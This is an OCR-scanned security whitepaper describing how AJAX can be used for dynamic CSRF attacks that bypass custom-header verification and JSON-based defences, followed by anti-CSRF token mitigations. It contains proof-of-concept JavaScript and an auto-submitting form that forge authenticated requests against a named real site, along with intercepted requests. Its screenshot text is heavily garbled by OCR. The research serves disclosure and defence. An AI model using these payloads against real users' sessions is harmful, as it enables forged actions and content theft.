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1. Introduction

It started as a simple penetration test, which yielded common exposures... but in this case, the
client was not willing to settle for a simple explanation as to why header verification is an
incomplete solution to CSRF... This client demanded a fully working proof of concept which
negates the header verification technique, in order to justify the development of the suggested
anti-CSRF prevention mechanism - a request that led us to an interesting discovery.

The following paper presents new methods that can be used to harness AJAX for dynamic CSRF
attacks (Cross-Site-Request-Forgery “]), regardless of CORS implementations, and as opposed to
today's perceived limitations.

The methods presented can be used in-spite of the restrictive Same Origin PoIicy“] enforced by
the browser on AJAX calls (assuming the right conditions are met), and have a greater impact
than "static" CSRF attacks, since they also enable content theft and response analysis.

In addition, the whitepaper will prove that web applications cannot rely on certain technologies
(JSON) or incomplete CSRF prevention mechanisms (such as custom header verification or
partial of CSRF tokens), at least not anymore.

The various claims provided in this whitepaper will be backed by POC code and demonstration
movies.

For a quick introduction to the attack, view the online prezi presentation, and the online
demonstration movie.
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2.Background — CSRF and AJAX

As penetration testers, we face a variety of security mechanisms in each test, and mechanisms
that rely on server-side custom header verification, non-standard AJAX based content delivery
method or a location-specific token verification to prevent CSRF attacks are not uncommon.

But before we begin to explain how to bypass these mechanisms using dynamic CSRF attacks
that harness AJAX (which is supposed to be restricted due to the same origin policy), let’s set a
good foundation by explaining the basics:

2.1. Cross-Site Request Forgery (aka Session Riding)

As the security level of web sites and browsers improves, hackers find creative ways to achieve
their goals - small loopholes within the browsers security rules.
One of these ways is the Cross-Site Request Forgery attack, abbreviated as CSRF or XSRF — an
attack that enables malicious 3rd party websites to perform operation on behalf of users, by
redirecting them to action-performing links in vulnerable web sites.
The following pre-conditions must be met for a successful CSRF attack:

The victim must be authenticated to the target vulnerable web site.

The authentication mechanism should be based on session identifiers stored in a cookie,

HTTP authentication (BASIC, DIGEST or NTLM) or certificate based authentication.

The victim must use the same browser instance, or use a browser instance that shares

certificates and/or persistent cookies with the browser instance used for authentication.
After the authentication process, the browser “stores” the identifiers (session id, certificate or
credentials) in the browser memory / hard drive, and associates them to the web site's domain.
By default, any access to the domain will cause the browser to automatically send the
identifiers to the server, thus, the user’s identity will be “delegated” to the server.
Malicious websites can abuse this behavior and instruct the browsers of unsuspecting users to
access action-performing URLs in external web sites, relying on existing authentication between
the users and the target external web sites, potentially performing operations on user’s behalf.
It is important to mention that CSRF attacks are considered "static" - a shot in the dark, since
the attacking web sites are unable to directly analyze the response of this redirection.

2.2. AJAX and XMLHttpRequest

One way for making websites more dynamic is using “Asynchronous JavaScript And XML”, or
AJAX, in short. AJAX allows website pages to incorporate JavaScript dynamic objects, such as
the XMLHttpRequest, that can interact with the website’s host using the HTTP protocol.

By using XMLHttpRequest it is possible to affect the content within the webpage without
refreshing the entire web page, and access the server with advanced content delivery methods
such as XML and JSON. By avoiding the need to refresh the entire web page, users benefit of a
faster response and website owners benefit from lesser bandwidth overloads.
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2.3. Same Origin Policy on AJAX

The same origin policy dictates that an AJAX object’s ability to fully communicate on the user’s
behalf is possible assuming the following conditions are met:
The protocol used by the AJAX object must be identical to the protocol of the origin
page.
The target port of the AJAX object must be identical to the port of the origin page.
The domain of the host and the domain of the AJAX object’s target host must be
identical (Sub domains are governed by slightly different restrictions which will not be
covered in this whitepaper).
Confused? The example can be used to understand the various restrictions:
A user that surfs to a website that resides in http://abstractSite.com:5656, incorporates an
XMLHttpRequest object which tries to send a request to the following address:
http://www.fictionSite.com:5656. Assuming the target web site does not implement any
permissive CORS policies, the browser will perform the following tests before allowing the AJAX
object to communicate with the target web site:
Same Protocol Verification — both the host and target websites protocols are using the
HTTP protocol, thus, this check will pass.
Same Port Verification - both the host and target websites are using the same TCP port
(5656), thus, this check will pass.
Same Domain Name — The XMLHttpRequest origin domain is “abstractSite.com”, and
the target domain is “www.fictionSite.com”. Since the domains are different, and no
CORS policy is set, this check will fail.
Clearly, the origin domain is different, and according to the W3C RFC™, the browser should
terminate this request. The reader probably wonders “why should?”... and the answer to this
guestion lies in the impact of the scenario described in the following sections.

iv]
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3.CSRF with AJAX Attack Methodology
3.1. CSRF with AJAX — What can it do, how is it possible?

Since an AJAX call (unlike a simple redirection) can analyze the content returned from a
request, it can be used to enhance the capabilities of a "static" CSRF attack, and make dynamic.
AJAX calls can enable malicious web sites to:
Analyze the content returned and locate sensitive information.
Locate anti-CSRF tokens in pages that precede a CSRF protected entry point.
Dynamically locate the CSRF target entry points, instead of constructing the CSRF
payload in advance.
Overcome custom header requirements, and bypass incomplete CSRF prevention
mechanisms.
Perform CSRF on entry points that require JSON, XML or different content delivery
methods.
In order to generate a cross domain request on the users behalf while using an AJAX object, the
following conditions must be met:
Same Port —the malicious website and the vulnerable website reside on the same port.
Same Protocol — the malicious website and the vulnerable website must use the same
protocol.
The victim must use a “permissive browser”, meaning a browser that supports
permissive intranet settings (a concept which will be described in the following
section).
The malicious web site must be perceived as "Internal" by the browser — the user should
access the attacking web site while using an Intranet address. This perquisite can be
achieved in multiple ways:
The attacker can to setup the malicious website in the intranet of the victim's
network (assuming he is a legitimate or rouge member of that network).
The attacker can inject the AJAX scripts into a vulnerable third party application
hosted in the internal network (Outlook Web Access, SharePoint, administrative
interfaces, etc).
The attacker can lure the user to change the host’s definitions for the malicious
website or perform it himself using public infrastructures (internet-cafe shops,
etc).

6 ERNST & YOUNG
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3.2. Permissive Browsers

Browsers are shipped with pre-defined security zone settings which vary based on the location
of the websites. For instance, if the user enabled intranet settings in the browser (initial popup
confirmation or intentional definition), than the security levels for websites which are located in
the Internet are stricter then the security level for websites which are located in the Intranet.
One of the restrictions enforced through these settings is the same origin policy.

This restriction can be "bended" when the intranet settings are enabled in the browser (once):

Ié_ http:/flocalhost)ajaxfajax-CSRF-AddCustomHeader . html

File Edit Yiew Favorites Tools Help

W oW 33 '| € hitp:/flocalhost{ajax{ajax-C.., | & http:/flocalhostjajax/aja... X | I

() Intranet settings are now turned off by default. Intranet settings are less secure than Internet settings. Click for options. ..

Internet Explorer i x|

Intranet settings use a less secure level than the Internet. |f
you only go to Intermnet websites, you should not turn on
intranet settings.

Are you sure you want to turn on intranet-level security

settings?
Yes I No I

The browser may permits cross domain requests which require a single user confirmation to a
small notification (once per domain):

Internet Explorer x|
r{@ Thiz page iz accessing information that is not under itz
?. contral. Thiz pozes a zecurity rizk. Do pou want o

continue?

ez | | Mo I

This scenario will occur in various browsers, such as Safari 4, Internet Explorer 6-8 and in an
Internet Explorer 9 instance which is configured to allow the inclusion of all Intranet sites in the
local security zone settings (and potentially, in other browsers as well).

But what is the probability that user will confirm the warning?

Researchers from the Carnegie Melon University conducted a research called the “Crying Wolf:
An Empirical Study of SSL Warning Effectiveness”'". Part of the research covered how many
users ignore the following security warning that Internet Explorer 7 provides when they are
surfing different websites.
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Security Alert g

% Information pou exchange with this sike cannot be viewed ar
?. changed by others. However, there is a problem with the zite's
* zecurity certificate.

(@4 The securty certificate is from a trusted certifving autharity.

(4 The secunty certificate date iz valid.

The name on the zecurity certificate is invalid or does not
match the name of the zite

Do you want to proceed?

Ve ] | Ho i [ Yiew Cerlificate ]

The research results show that even though users are surfing an online banking website, 90% of
the users ignored the security warning (!). Although a similar empirical research was not
performed on the security warning presented in the AJAX cross domain case, the cross domain
notification is less obvious, and | strongly believe that the results would be similar and maybe
higher due to the following reasons:

1. Title — the AJAX cross domain request warning title does not imply anything which is
related to a security threat.

2. Common Behavior Pattern — The common user behavior includes “skimming”, a process
in which users read the first line, and with the absence of an interesting "trigger", simply
skip to the last line in the paragraph. Thus, users will usually read the “Do you want to
continue?” sentence, and skip the middle sentence which declares this notification as a
possible security risk.

3. Website Content — The aforementioned research shows that users tendency to ignore
security warnings when they surf a website which appears innocent, and does not
contain any important data of the users (for example, the library's website). For
example, the research showed that in the library's website, 100%(!) of the users ignored
the security warning. This behavior pattern can be used by the attacker, by setting the
CSRF performing website to look as an innocent website without sensitive information,
lowering the users’ psychological awareness.

8 ERNST & YOUNG
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3.3. Demonstrating CSRF with AJAX

The following section demonstrates how attackers can create an innocent looking website,
armed with a dynamic CSRF generating mechanism.

For examples that include content theft, custom header additions and repayable
parameter analysis (VIEWSTATE, EVENTARGS and EVENTARGUMENT), please refer to the
content presented in the 2012 local chapter meeting of OWASP IL:
http://www.youtube.com/watch?v=JHJ1WW4Fcvw " and http://prezi.com/6vnl6s007b-
c/ajax-hammer/™M.

In the following example, the malicious website is called “abstract”, and is located in the
victim's intranet, while the simulated vulnerable target web site is named www.cnn.com.
The malicious website protocol and port are set accordingly to the target website, HTTP and
port 80 respectively.

Step 1 - The user authenticates in front of the vulnerable website, which populates the
session memory associated with the browser' cookie with the user identity and permissions.
Step 2 — The authenticated user uses a second tab to surf to the malicious website
http://absractSite/Ajax-CSRF.html. So far, the first and second phases are also the
perquisite steps for a static CSRF attack.

The malicious web site contains the following AJAX-using function:

function csrfAjax ()
{
if (window.XMLHttpRequest)

{
xmlhttp=new XMLHttpRequest() ;

xmlhttp=new ActiveXObject ("Microsoft.XMLHTTP") ;
}
xmlhttp.onreadystatechange=function ()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById ("myDiv") .innerHTML=xmlhttp.responseText;

}

xmlhttp.open ("GET", "http://edition.cnn.com/search/?query=123hackedl23&primary
Type=mixed&sortBy=date&intl=true", true) ;

xmlhttp.send ("") ;
}

ERNST&YOUNG K
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In the following screenshot it is possible to see the innocent looking popup:

R T — i)
R r

| € ISR e B IR 2
W Brop iarsdsteikum-CRE ek I l PR ef) o wb e Pame Jloose *

Getting content from Different Origin

N X

2 This page i actwtsng rhoomaton bl o nef under &
cortol The pooe: 3 secunky sk, Do you wart 1
cortrun?

_w ]

Step 3 — The user clicks "yes" and the following request is generated (intercepted with a proxy):

s burp suite free edition ¥1.4 = EI|
burp intruder repeater window  about

ftarget rpmxy rspider rSCanner rimruder rrepeater rsequencer rdecoder rcnmparer rnptinns ralens |
imtercem [ aptions | histary |
r

equest to hitp:fedition cnncom: 80 [157 166 224 45] I

| forward || drop || interceptis on || action |

rawe | params | headers | hex

GET /search/fPquery=1C3hackedll3éprimaryType=mixesdésortBy=date&intl=trusHTTP/L.1
Locept: ¥/
Accept-Languages: en-us

Referer: http://abstractsite/Ajax-CSEF.html

UA-CPU: =3&

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .MET CLE L.1.4322; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .MET CLR 3.5.30729; .MET4.0C; InfoPath.Z; .NET4.0E)

Host: edition.cnn.com

IRl eb AT akahal Yok ol Mk I (TSN W R R

Cookie:

tnr:usrvestgOl=1315141686038%7C0%7C05TCLsTCO0%TCOSTCOSTCOSTCO%TCOSTCOSTCO%TCOSTCOSTCO%TCOSTCOSTCOSTCOSTCOSTCOSTCO%TCOSTCOSTCO%
TCO%7C0%7CO0%T7COSTCOSTCOSTCOLIs 7L 7CLS 705 T7CL3 151416860385 7Cnull; tnr:sesctmp0l=131514168E038; s_cc=trus; s_sq=%5B%5BE%SDS5D;
S _ppv=>53

The browser sends the request to the target while automatically adding the users® cookie, and
thus, causes the victim to perform the action that the attacker intended. Now, the malicious
website is able to analyze the response, and presents it under the malicious domain:

23 Cannot find server - Microsoft Internet Explorer

=lol |
Eile  Edit Wiew Favorites Tools  Help ‘ aw
Ot -0 - [ [El ] P cron= @3- 2 H | JENE @S
Address [&] http://abstractsite/ajax-CSRF html =1 Go | Links
ST omepage
I SEARCH
Repert search
iReports are stories from the CMIT audience
Learn more >
SEARCH a
# iReports ¢ iReporters
SEARGCH @ =
Home | Video | World | U.S. | Africa | Asia | Europe | Latin America | Middle East | Business | Weorld Spost | Entertainment | Tech | Travel | iReport
Tools & Widgets | Podeasts | Blogs | CHI Mobile | My Profile | E-mail Alerts | CHI Radic | CHN Shop | Site map | S Partner Hotels
CITN en ESPANOL | O Chile | CI Eapansion | - | #5301 | 8% | Tarkee =
&7 Done [ 4 Internet =
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3.4. Dynamic AJAX CSRF — CSRF in New Territories

To summarize how AJAX flexibility enhances the capabilities of current CSRF attacks, let's see
what can be done it that wasn’t there before.

Response Content Theft — The XMLHttpRequest object allows the malicious site to analyze the
response using the “responseText” method. This capability enables new uses for CSRF — CSRF
for information gathering, content theft and internal domain & IP enumeration (as long as the
enumeration is mapping identical ports).

Direct Dynamic CSRF — Attackers are no longer bound to static CSRF attack scenarios, or to
dynamic CSRF attack scenarios that rely on indirect information gathering["i"]. Using this AJAX
based technique it is possible to dynamically identify the target URL, gather information from
the response, and continue to the next step of the CSRF attack according to the information
gathered:

Locate anti-CSRF tokens in pages that precede a CSRF protected entry point.

Replay obligatory dynamic fields such as VIEWSTATE, EVENTTARGET and

EVENTARGUMENT.

Dynamically locate the CSRF target entry points, instead of constructing the CSRF

payload in advance.

Send notifications on the application structure to a remote attacker, creating an HTTP

"command line" scenario!

Server Side Custom Headers Verification — It is a common misconception that performing
validation of custom headers on the server side can prevent CSRF attacks. By using the
XMLHTTPRequest object, an attacker can add custom headers of his choosing. The following
code segment, builds on the previous code sample, and adds a custom header:

function csrfAjax ()

{
if (window.XMLHttpRequest)

{
xmlhttp=new XMLHttpRequest () ;

xmlhttp=new ActiveXObject ("Microsoft.XMLHTTP") ;

}

xmlhttp.onreadystatechange=function ()

{

ERNST&YOUNG B
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if (xmlhttp.readyState==4 && xmlhttp.status==200)

document.getElementById ("myDiv") .innerHTML=xmlhttp.responseText;

}

xmlhttp.open ("GET", "http://edition.cnn.com/search/?query=123hackedl23&primary
Type=mixed&sortBy=date&intl=true", true) ;

xmlhttp.setRequestHeader ("X-Requested-With", "XMLHttpRequest") ;
xmlhttp.send ("") ;
}

In the following screenshot it is possible to see now that the custom header is added to the
CSRF request:

request to hitp:fedition.cnn.com: B0 1467 166.226.45]

forward drop interceptis on action

Fam rparama rheaders rhex |

GET /search/ ?query=1Z3hackedlZ3&primaryType=mixedesortBy=date&intl=trus HTTF/1.1
Aocept: */w

Aocept-Language: en-us

i y CSEF.html
w—-requested-with: XMLHttpEREedquest

User-Agent: Mozilla/4.0 (compatilkle; M3IIE £€.0; Windows NT 5.1; 3V1: .MET CLRE
1.1.4322; .MNET CLE Z.0.50727; .MET CLE 3.0.450&.2152; .NET CLE 3.5.307Z9)
Host: edition.conn.com

Proxy-Connection: Eeep-Alive

Cookie:

tnr:usrvtstgll=1315141686038%7C0%TC0%TCLETCOSTCOSTCOSTCORTCOSTCOSTCOSTCO0STCO0%TCO0%TC
FTCO0STCOSTCOSTCOSTCORTCOSTCOSTCOSTCO0STCO0STCOSTCOSTCOSTCOSTCORTCOSTCLSTOESTCOLST7CE%7T
C1l315141686038%7Cnull

Special Formats — sometimes developers rely on complex formatted requests in attempt to foil
CSRF attacks, include XML input, JSON, etc. Some of these formats can be forged using HTML
forms, but with some inherent restrictions. For instance, generating JSON requests using an
HTML form can be done in the following manner:

<html>
<head>
</head>
<body>
Welcome to my Hacker Site!</br>

<form enctype="text/plain" action="http://edition.cnn.com/search/"
method="post">

12 ERNST & YOUNG

Quality In Everything We Do



Ernst & Young LLP
1401 McKinney Street, Suite 1200
Houston, TX 77010

e
IR -
HHH”HH“ Ell ERNST & YOUNG Tel +1 (713) 750 1200
|‘ WwWw.ey.com

<input type="hidden" name="{'search': '1l23hackedl123','foo': '123" value="4"'}"
/>

</form>

<script>

document.forms[0] .submit () ;
</script>

</body>

</html>

The following screenshot shows that a valid JSON request is generated by the user, and the
cookie is automatically added to the request:

raquest to hitp:fedition.chn.com:S0 [157.166.224 46]

| forward |‘ drop |‘ intercept is an || action

e rparams rheaders rhex |

POST f3earch/ HTTP/Ll.1

Aocept: image/gif, image/x-xbitmap, image/jpedg, image/pipedq,
application/x-shockwvave-flash, application/x-mE-application, application/x-ms-xbap,
application/vnd.ms—xpsdocument, application/xaml+xml, */*

Beferer: http://abstractsite/csrfJSCN. html

Aocept-Languages: sn-us

Content-Type: text/plain

Aocept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE €.0; Windows NT 5.1; SVL1: .MNET CLR
1.1.432Z2; .MET CLE Z.0.50727; .MNET CLE 3.0.450&£.215Z; .MNET CLE 3.5.30729)

Host: edition.cnn.com

Content-Length: 43

Proxy—-Connection: Eeep-Alive

Pragma: no-cache

Lookle:
tnr:usrvtstgll=1315141688
CO%7CO%7CO0%7CO08TCO%7CO%7C
41F86038%7Cnull

{'search': 'l123hackedlZ3', foo': '1:3=4'}¢

The method is limited due to two major reasons:

The first reason is inherent in the equal sign which is added as due to the structure of the HTML
form “parameter = value” pair - thus, applications that perform input validation or enforce a
strict JSON structure will detect the equal sign.

The second reason lies in the fact that by using form submission, attackers cannot dictate the
request’s content type. Thus, applications that validate that the “Content-Type” header will see
that it is not “application/json".

Generating the request using AJAX will overcome all these problems, as can be seen in the
following screenshot:

o
o

#F L
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request to hitp:hssene edition.cnn.com: 80 [1567 166.265.32]

| forward H drop || interceptis an || action

raw rparams rheaders rhex |

POST / HTTP/L.1
LAocept: /%

£n—-us
e et J SOOI . hitmol

Content-Type: application/json

! ncocing: gzZip, =t late

Uger-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT €.1; WOWe4:; Trident/5.0)
Host: www.edition.cnn.com

Content-Length: 37
Proxy-Connection: Keep-Aliwve
Pragma: no-cache

{'search':'123hackedl23', 'foo':1234'} @

3.5. Additional Ideas for Future Research

It seems that further research is required in order to better assess the potential that lies in the
usage of AJAX for CSRF attacks. Such research should encompass an empirical test of browsers
from various vendors, multiple versions and even different platforms (i.e. mobile browsers and
desktop browsers). The following subjects may provide additional leads:
Enhancing the capabilities of Dynamic AJAX CSRF while using different HTTP Methods —
tests should be conducted in order to determine how will web servers and application
servers behave if the page is accessed with GET/HEAD/POST methods, instead of the
original methods, similar to the case described in “Bypassing VBAAC With HTTP Verb
Tampering” ™.
Creating an AJAX CSRF notification system, similar to BeEF (XSS).

14 ERNST & YOUNG
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4. Mitigations

In order to mitigate AJAX based Dynamic CSRF, is it recommended to implement the following
mitigations:
Disable the intranet settings in all the organization browsers.
Use an IPS/WAF to verify the "referer" header of incoming requests (since this is the
only header that cannot be forged using this technique, at least using the information
gathered in the current research).
Furthermore, applications should implement an efficient Anti-CSRF mechanism for preventing
external sources from accessing internal pages on behalf of users. The feature should be
implemented in the following manner:
The proposed access verifier mechanism (a.k.a Anti-CSRF mechanism) should generate a
designated random token for each user that undergoes a successful login process (in
addition to the session identifier, and preferably in the same module that verifies the
login request), store this token in the user-associated server side session memory, and
append this value to a designated HTTP parameter in every link, AJAX request,
redirection instruction or HTML form embedded into the content presented to the user.
Note - Redirecting modules are modules that must receive the token as a POST
parameter, and not in GET, in order to prevent the token from being disclosed to third
party web sites in the "referer" header.
The token should be long (at least 16 characters), random (generated using a random
seed, such as the size of the log file), and consist of at least 3 types of characters (letters,
capital letters and numbers).
Each internal page in the application (apart from the login page) must verify the
existence of this random value and make sure it is the same value issued for the user, by
comparing it to the value the stored in the user’s server side session memory; the
verification must be performed immediately after verifying the user’s authentication
and authorization level (in case this verification is not performed in any global module).
It is recommended to perform the token verification in a global module, such as a filter
or a global event.
It is important to mention that the random value should be sent as either a GET or POST
parameter (apart from redirecting modules), and NOT within the cookie (which will be sent in
every request to the server, alongside the value). This will prevent an attacker from accessing
internal pages in the application, since he won’t be able to figure what is the currently expected
random variable value (at least using static CSRF, and in pages that require token for access,
neither with dynamic CSRF).
External Implementations
The OWASP foundation implemented an external module called CSRFGuard, which can be
utilized to implement the required mechanism. Additional information can be found in the
following address:
http://www.owasp.org/index.php/Category:OWASP CSRFGuard Project
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